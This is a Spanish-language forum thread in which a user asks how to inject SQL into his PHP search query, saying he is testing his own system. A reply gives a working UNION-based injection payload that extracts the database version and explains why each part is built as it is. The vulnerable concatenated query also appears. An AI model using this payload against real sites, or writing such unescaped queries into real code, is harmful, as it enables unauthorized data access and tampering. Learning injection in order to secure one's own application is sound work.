[Pregunta]: ¿Como inyectar código SQL?

Iniciado por Leguim, 1 Noviembre 2019, 02:05 AM

0 Miembros y 1 Visitante están viendo este tema.

Leguim

Buenas noches,
como podría inyectar código sql a la siguiente consulta,

Código (php) [Seleccionar]

"SELECT P.id_post, P.id_user, U.id_user, U.avatar FROM posts P INNER JOIN users U ON P.id_user = U.id_user WHERE P.title LIKE "%'.($search).'%" ORDER BY P.id_post DESC"


La idea es, tengo un input donde ingresa un texto y ese texto buscará publicaciones o temas donde el titulo sea parecido a el texto, la idea es como puedo inyectar un codigo sql que elimine todas las publicaciones algo como "DELETE FROM posts" peor no se como inyectar eso, no se preocupen que no quiero hackear nada  :xD jeje, estoy provando vulnerabilidades en mi sistema.

WHK

#1
Pues para entender como inyectar cosas necesitas aprender primero sobre como usar las jeringas y su contenido, no todo se inyecta de la misma manera, en el mismo lugar o con el mismo contenido. Primero debes entender sobre consultas SQL y después podrás entender como hacer inyecciones de contenido SQL.

Por ejemplo:

SELECT
   P.id_post,
   P.id_user,
   U.id_user,
   U.avatar
FROM
   posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
   P.title LIKE "%'.($search).'%"
ORDER BY
   P.id_post DESC


Una posible inyección sería:

qqqq" UNION SELECT * FROM (SELECT 1 AS id_post, 2 AS id_user, 3 AS id_user, @@version AS avatar) P WHERE 1 LIKE "1

De esta manera con qqqq invalidas el resultado arrojando cero items para que no haya problemas con la obtención de filas del union select, luego el union select con la cantidad de columnas exactas, el avatar será el texto de escapado de información, un subselect para representar P como tabla debido al order by y el primer resultado con el mismo nombre de la columna a ordenar y para finalizar una condicional cualquiera para unir las comillas de cierre usando like para prevenir errores con el "%".

Queda masomenos así:

SELECT
   P.id_post,
   P.id_user,
   U.id_user,
   U.avatar
FROM
   posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
   P.title LIKE "%qqqq"
UNION
SELECT
   *
FROM (
   SELECT
       1 AS id_post,
       2 AS id_user,
       3 AS id_user,
       @@version AS avatar
) P
WHERE 1 LIKE "1%"
ORDER BY
   P.id_post DESC


De esta manera puedes crear la inyección sql sin que se produzca un error de sintaxis ni tampoco tener la necesidad de hacer una detención de consulta con comentarios de tipo "--" debido a que esto a veces falla si la consulta SQL utiliza múltiples líneas. Además representé cada valor con su columna correspondiente debido a que en algunas aplicaciones WEB los resultados se obtienen con el número de la columna obtenida como resultado de la consulta SQL pero en otros casos utilizan asociación y si no existe un resultado en su columna correspondiente te puede dar problemas, no siempre resultan las uniones de la manera tradicional, por eso es que prefiero ser estricto con las inyecciones.

Todo dependerá que quieras hacer o que quieras lograr, el servidor de bases de datos atenderá tus consultas, lo que quieras hacer con el es otro tema.

Dale un vistazo por acá:

https://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html
https://foro.elhacker.net/hacking_linuxunix/tutorial_de_inyeccion_sql_para_principiantes-t414525.0.html
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_31510-t244090.0.html
https://www.php.net/manual/es/mysqli-result.fetch-assoc.php

Saludos.